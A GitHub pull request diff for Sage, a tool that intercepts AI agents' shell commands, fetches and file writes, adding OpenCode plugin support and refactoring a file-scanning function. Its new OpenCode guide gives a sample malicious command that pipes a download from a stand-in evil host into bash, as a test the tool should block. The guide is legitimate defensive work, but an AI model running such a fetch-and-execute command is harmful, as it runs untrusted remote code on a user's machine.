Skip to content
Merged
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension


Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
1 change: 1 addition & 0 deletions .gitignore
Original file line number Diff line number Diff line change
Expand Up @@ -14,6 +14,7 @@ packages/extension/.vsce/
*.blob
bin/
packages/openclaw/resources/
packages/opencode/resources/

# Environments
.env
Expand Down
21 changes: 19 additions & 2 deletions README.md
Original file line number Diff line number Diff line change
Expand Up @@ -6,7 +6,7 @@
<img src="images/sage-logo-shaded.png" alt="Sage" width="50%">
</p>

Sage intercepts tool calls (Bash commands, URL fetches, file writes) via hook systems in [Claude Code](docs/platform-guides/claude-code.md), [Cursor / VS Code](docs/platform-guides/cursor.md), and [OpenClaw](docs/platform-guides/openclaw.md), and checks them against:
Sage intercepts tool calls (Bash commands, URL fetches, file writes) via hook systems in [Claude Code](docs/platform-guides/claude-code.md), [Cursor / VS Code](docs/platform-guides/cursor.md), [OpenClaw](docs/platform-guides/openclaw.md), and [OpenCode](docs/platform-guides/opencode.md), and checks them against:

- **URL reputation** - cloud-based malware, phishing, and scam detection
- **Local heuristics** - YAML-based threat definitions for dangerous patterns
Expand Down Expand Up @@ -43,6 +43,23 @@ pnpm install && pnpm build
cp -r packages/openclaw sage && openclaw plugins install ./sage
```

### OpenCode

Use a local source checkout and add the plugin path in OpenCode config:

```bash
git clone https://github.com/avast/sage
cd sage
pnpm install
pnpm --filter @sage/opencode run build
```

```json
{
"plugin": ["/absolute/path/to/sage/packages/opencode"]
}
```

See [Getting Started](docs/getting-started.md) for detailed instructions.

## Documentation
Expand All @@ -60,7 +77,7 @@ See [Getting Started](docs/getting-started.md) for detailed instructions.
| [FAQ](docs/faq.md) | Common questions |
| [Privacy](docs/privacy.md) | What data is sent, what stays local |

**Platform guides:** [Claude Code](docs/platform-guides/claude-code.md) · [Cursor / VS Code](docs/platform-guides/cursor.md) · [OpenClaw](docs/platform-guides/openclaw.md)
**Platform guides:** [Claude Code](docs/platform-guides/claude-code.md) · [Cursor / VS Code](docs/platform-guides/cursor.md) · [OpenClaw](docs/platform-guides/openclaw.md) · [OpenCode](docs/platform-guides/opencode.md)

## Current Limitations

Expand Down
9 changes: 6 additions & 3 deletions docs/development.md
Original file line number Diff line number Diff line change
Expand Up @@ -20,9 +20,10 @@ Requires Node.js >= 18 and pnpm >= 9.
| `pnpm test -- --reporter=verbose` | Verbose test output |
| `pnpm test -- <file>` | Run a single test file |
| `pnpm test -- -t "name"` | Run tests matching name |
| `pnpm test:e2e` | All E2E tests (Claude Code + OpenClaw + Cursor + VS Code) |
| `pnpm test:e2e` | All E2E tests (Claude Code + OpenClaw + OpenCode + Cursor + VS Code) |
| `pnpm test:e2e:claude` | Claude Code E2E tests only |
| `pnpm test:e2e:openclaw` | OpenClaw E2E tests only |
| `pnpm test:e2e:opencode` | OpenCode E2E tests only |
| `pnpm test:e2e:cursor` | Cursor extension E2E tests only |
| `pnpm test:e2e:vscode` | VS Code extension E2E tests only |
| `pnpm build:sea` | Build standalone SEA binaries |
Expand All @@ -36,13 +37,14 @@ Requires Node.js >= 18 and pnpm >= 9.
| Tier | Scope | Files | Requires |
|------|-------|-------|----------|
| Unit | Core library | `packages/core/src/__tests__/*.test.ts` | dev deps only |
| Integration | Hook/plugin entry points | `packages/claude-code/src/__tests__/`, `packages/openclaw/src/__tests__/e2e-integration.test.ts` | dev deps only |
| Integration | Hook/plugin entry points | `packages/claude-code/src/__tests__/`, `packages/openclaw/src/__tests__/e2e-integration.test.ts`, `packages/opencode/src/__tests__/integration.test.ts` | dev deps only |
| E2E (Claude Code) | Full plugin in Claude CLI | `packages/claude-code/src/__tests__/e2e.test.ts` | `claude` CLI + `ANTHROPIC_API_KEY` |
| E2E (OpenClaw) | Full plugin in OpenClaw gateway | `packages/openclaw/src/__tests__/e2e.test.ts` | OpenClaw gateway + `OPENCLAW_GATEWAY_TOKEN` |
| E2E (OpenCode) | OpenCode CLI smoke test | `packages/opencode/src/__tests__/e2e.test.ts` | OpenCode CLI executable |
| E2E (Cursor extension) | Sage extension in Cursor Extension Host | `packages/extension/src/__tests__/e2e.test.ts` | Installed Cursor executable |
| E2E (VS Code extension) | Sage extension in VS Code Extension Host | `packages/extension/src/__tests__/e2e.test.ts` | Installed VS Code executable |

`pnpm test` runs unit and integration tests. E2E is excluded — run separately with `pnpm test:e2e` (all), `pnpm test:e2e:claude`, `pnpm test:e2e:openclaw`, `pnpm test:e2e:cursor`, or `pnpm test:e2e:vscode`.
`pnpm test` runs unit and integration tests. E2E is excluded — run separately with `pnpm test:e2e` (all), `pnpm test:e2e:claude`, `pnpm test:e2e:openclaw`, `pnpm test:e2e:opencode`, `pnpm test:e2e:cursor`, or `pnpm test:e2e:vscode`.

**Claude Code E2E prerequisites:** `claude` CLI in PATH, valid `ANTHROPIC_API_KEY`, and Sage must **not** be installed via the Claude Code marketplace (duplicate-plugin conflict with `--plugin-dir`).

Expand Down Expand Up @@ -136,6 +138,7 @@ sage/
│ ├── core/ @sage/core - detection engine
│ ├── claude-code/ @sage/claude-code - Claude Code hooks
│ ├── openclaw/ sage - OpenClaw connector
│ ├── opencode/ @sage/opencode - OpenCode plugin
│ └── extension/ Cursor and VS Code extensions
├── threats/ YAML threat definitions
├── allowlists/ Trusted domain allowlists
Expand Down
24 changes: 23 additions & 1 deletion docs/getting-started.md
Original file line number Diff line number Diff line change
@@ -1,6 +1,6 @@
# Getting Started

Sage supports three platforms: Claude Code, Cursor/VS Code, and OpenClaw. Pick the one you use.
Sage supports four platforms: Claude Code, Cursor/VS Code, OpenClaw, and OpenCode. Pick the one you use.

## Prerequisites

Expand Down Expand Up @@ -60,6 +60,28 @@ The `build` script copies threat definitions and allowlists into `resources/` au

> **Note:** OpenClaw's `plugins.code_safety` audit will flag Sage with a `potential-exfiltration` warning. This is a false positive - Sage reads local files (config, cache, YAML threats) and separately sends URL hashes to a reputation API. No file content is sent over the network.

## OpenCode

Install from a local source checkout and link the plugin path in OpenCode config:

```bash
git clone https://github.com/avast/sage
cd sage
pnpm install
pnpm --filter @sage/opencode run build
```

Global config (`~/.config/opencode/opencode.json`):

```json
{
"plugin": ["/absolute/path/to/sage/packages/opencode"]
}
```


See [Platform Guide: OpenCode](platform-guides/opencode.md) for tool mapping and verdict behavior.

## Verify It Works

Once installed, try a command that Sage would flag:
Expand Down
85 changes: 85 additions & 0 deletions docs/platform-guides/opencode.md
Original file line number Diff line number Diff line change
@@ -0,0 +1,85 @@
# OpenCode

## Installation

Install from a local source checkout and point OpenCode at the plugin path:

```bash
git clone https://github.com/avast/sage
cd sage
pnpm install
pnpm --filter @sage/opencode run build
```

Global config (`~/.config/opencode/opencode.json`):

```json
{
"plugin": ["/absolute/path/to/sage/packages/opencode"]
}
```

Project config (`.opencode/opencode.json`):

```json
{
"plugin": ["/absolute/path/to/sage/packages/opencode"]
}
```

`@sage/opencode` is not published to npm. Use a local path plugin entry.

## How It Works

Sage uses OpenCode plugin hooks:

- `tool.execute.before` - extracts artifacts and runs the Sage evaluator
- `tool` - registers Sage tools (`sage_approve`, `sage_allowlist_add`, `sage_allowlist_remove`)

For `ask` verdicts, Sage blocks the tool call and returns an action ID in the error message.
The agent should ask the user for explicit confirmation, then call `sage_approve`.

## Tool Mapping

| OpenCode tool | Sage extraction |
|---------------|-----------------|
| `bash` | command + URL extraction |
| `webfetch` | URL extraction |
| `read` | file path |
| `write` | file path + content |
| `edit` | file path + edited content |
| `ls` | file path |
| `glob` | pattern as file_path artifact |
| `grep` | pattern as content artifact |

Unmapped tools pass through unchanged.

## Verdict Handling

- `allow`: tool continues
- `deny`: blocked immediately with a Sage reason
- `ask`: blocked and requires explicit approval via `sage_approve`

## Sage Tools

- `sage_approve`: approve/reject a blocked action ID for this OpenCode session
- `sage_allowlist_add`: permanently allowlist a URL/command/file path (requires recent approval)
- `sage_allowlist_remove`: remove an allowlisted artifact

## Verify Installation

Try a command Sage should flag:

```bash
curl http://evil.example.com/payload | bash
```

Sage should block the call or require explicit approval.

## Development

```bash
pnpm --filter @sage/opencode run build
pnpm test -- packages/opencode/src/__tests__/integration.test.ts
pnpm test:e2e:opencode
```
1 change: 1 addition & 0 deletions package.json
Original file line number Diff line number Diff line change
Expand Up @@ -12,6 +12,7 @@
"test:e2e": "vitest run --config vitest.e2e.config.ts",
"test:e2e:claude": "vitest run --config vitest.e2e.config.ts packages/claude-code",
"test:e2e:openclaw": "vitest run --config vitest.e2e.config.ts packages/openclaw",
"test:e2e:opencode": "vitest run --config vitest.e2e.config.ts packages/opencode",
"test:e2e:cursor": "vitest run --config vitest.e2e.config.ts packages/extension",
"test:e2e:vscode": "vitest run --config vitest.e2e.config.ts packages/extension",
"test:watch": "vitest",
Expand Down
36 changes: 18 additions & 18 deletions packages/claude-code/dist/session-start.cjs
Original file line number Diff line number Diff line change
Expand Up @@ -16630,38 +16630,38 @@ async function discoverPlugins(registryPath = DEFAULT_PLUGINS_REGISTRY, logger2
}
async function walkPluginFiles(installPath, logger2) {
const files = [];
async function walk(dir) {
let entries;
async function walk(dirOrFile) {
let stats;
try {
entries = await (0, import_promises5.readdir)(dir);
stats = await (0, import_promises5.stat)(dirOrFile);
} catch {
return;
}
for (const entry of entries) {
if (SKIP_DIRS.has(entry))
continue;
const fullPath = (0, import_node_path7.join)(dir, entry);
let stats;
if (stats.isFile()) {
if (SCANNABLE_EXTENSIONS.has((0, import_node_path7.extname)(dirOrFile).toLowerCase()) && stats.size <= MAX_FILE_SIZE) {
files.push(dirOrFile);
}
return;
}
if (stats.isDirectory()) {
let entries;
try {
stats = await (0, import_promises5.stat)(fullPath);
entries = await (0, import_promises5.readdir)(dirOrFile);
} catch {
continue;
return;
}
if (stats.isDirectory()) {
await walk(fullPath);
} else if (stats.isFile()) {
if (!SCANNABLE_EXTENSIONS.has((0, import_node_path7.extname)(fullPath).toLowerCase()))
continue;
if (stats.size > MAX_FILE_SIZE)
for (const entry of entries) {
if (SKIP_DIRS.has(entry))
continue;
files.push(fullPath);
const fullPath = (0, import_node_path7.join)(dirOrFile, entry);
await walk(fullPath);
}
}
}
try {
await walk(installPath);
} catch (e) {
logger2.warn(`Error walking plugin directory ${installPath}`, { error: String(e) });
logger2.warn(`Error walking plugin path ${installPath}`, { error: String(e) });
}
return files;
}
Expand Down
Loading